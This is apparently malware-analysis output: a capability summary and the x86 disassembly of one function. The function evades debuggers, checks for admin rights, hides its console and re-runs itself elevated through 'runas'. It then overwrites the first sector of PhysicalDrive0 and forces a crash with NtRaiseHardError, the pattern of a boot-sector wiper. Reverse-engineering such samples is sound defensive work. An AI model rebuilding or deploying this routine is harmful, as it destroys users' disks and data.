Function at 0x401a90
Capabilities:
Create thread
Hide graphical window
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x418040]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
push str.CheckRemoteDebuggerPresent
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call ebx
cmp dword [esp + 0xc], 0
jne 0x401c4c
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.CheckTokenMembership
push esi
mov dword [esp + 0x30], esi
call edi
push str.AllocateAndInitializeSid
push esi
mov dword [esp + 0x24], eax
call edi
push str.FreeSid
push dword [esp + 0x2c]
mov esi, eax
call edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x90]
mov dword [esp + 0x40], 0
push eax
mov dword [esp + 0x38], 0
mov dword [esp + 0x94], 0
mov word [esp + 0x98], 0x500
call esi
test eax, eax
je 0x401b92
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
push 0
call dword [esp + 0x28]
push dword [esp + 0xc]
call dword [esp + 0x14]
push dword [esp + 0x28]
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [esp + 0x18], 0
jne 0x401c65
call fcn.004016e0
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.ShellExecuteExW
push eax
mov dword [esp + 0x18], eax
call edi
mov esi, eax
lea eax, [esp + 0x70]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x38
lea eax, [esp + 0x34]
mov dword [esp + 0x30], 0x3c
push 0
push eax
call fcn.00404a60
add esp, 0xc
mov dword [esp + 0x38], str.runas
lea eax, [esp + 0x70]
mov dword [esp + 0x48], 1
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x2c]
push eax
call esi
test eax, eax
jne 0x401c46
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.MessageBoxW
push esi
call edi
push 0x10
push str.Error
push str.Failed_to_elevate_privileges.
push 0
call eax
push esi
call ebx
push dword [esp + 0x10]
call ebx
mov ecx, dword [esp + 0x27c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402d64
mov esp, ebp
pop ebp
ret 0x10
push 4
call fcn.00402d72
add esp, 4
lea ecx, [esp + 0x24]
mov dword [eax], 0x401240
push ecx
push 0
push eax
push 0x401fa0
push 0
push 0
call fcn.004063b0
add esp, 0x18
mov dword [esp + 0x20], eax
test eax, eax
je 0x401db5
cmp dword [esp + 0x24], 0
je 0x401dc4
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [esp + 0x24]
cmp ecx, eax
je 0x401dcb
push 0
push ecx
push dword [esp + 0x28]
call fcn.00402a82
add esp, 0xc
test eax, eax
jne 0x401dd2
vxorpd xmm0, xmm0, xmm0
push str.kernel32.dll
vmovlpd qword [esp + 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x415bac
push eax
mov dword [esp + 0x14], eax
call edi
push 0x415bb8
push dword [esp + 0x10]
mov esi, eax
call edi
push 0x415bc4
push dword [esp + 0x10]
mov dword [esp + 0x18], eax
call edi
push 0
push 0
push 3
push 0
push 3
push 0x40000000
push str..PhysicalDrive0
mov dword [esp + 0x38], eax
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x401d5a
push 0x200
lea eax, [esp + 0x74]
push 0
push eax
call fcn.00404a60
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
push 0x200
lea eax, [esp + 0x7c]
push eax
push esi
call dword [esp + 0x24]
push esi
call dword [esp + 0x20]
push dword [esp + 0xc]
call ebx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
push str.RtlAdjustPrivilege
push ebx
call edi
push str.NtRaiseHardError
push ebx
mov esi, eax
call edi
mov edi, eax
lea eax, [esp + 0x17]
push eax
push 0
push 1
push 0x13
call esi
lea eax, [esp + 0x10]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x24], 0
jne 0x401dd9
jmp 0x401c4c
push 6
mov dword [esp + 0x28], 0
call fcn.00402773
push 1
call fcn.00402773
push 5
call fcn.00402773
push 2
call fcn.00402773
call fcn.00406462
int3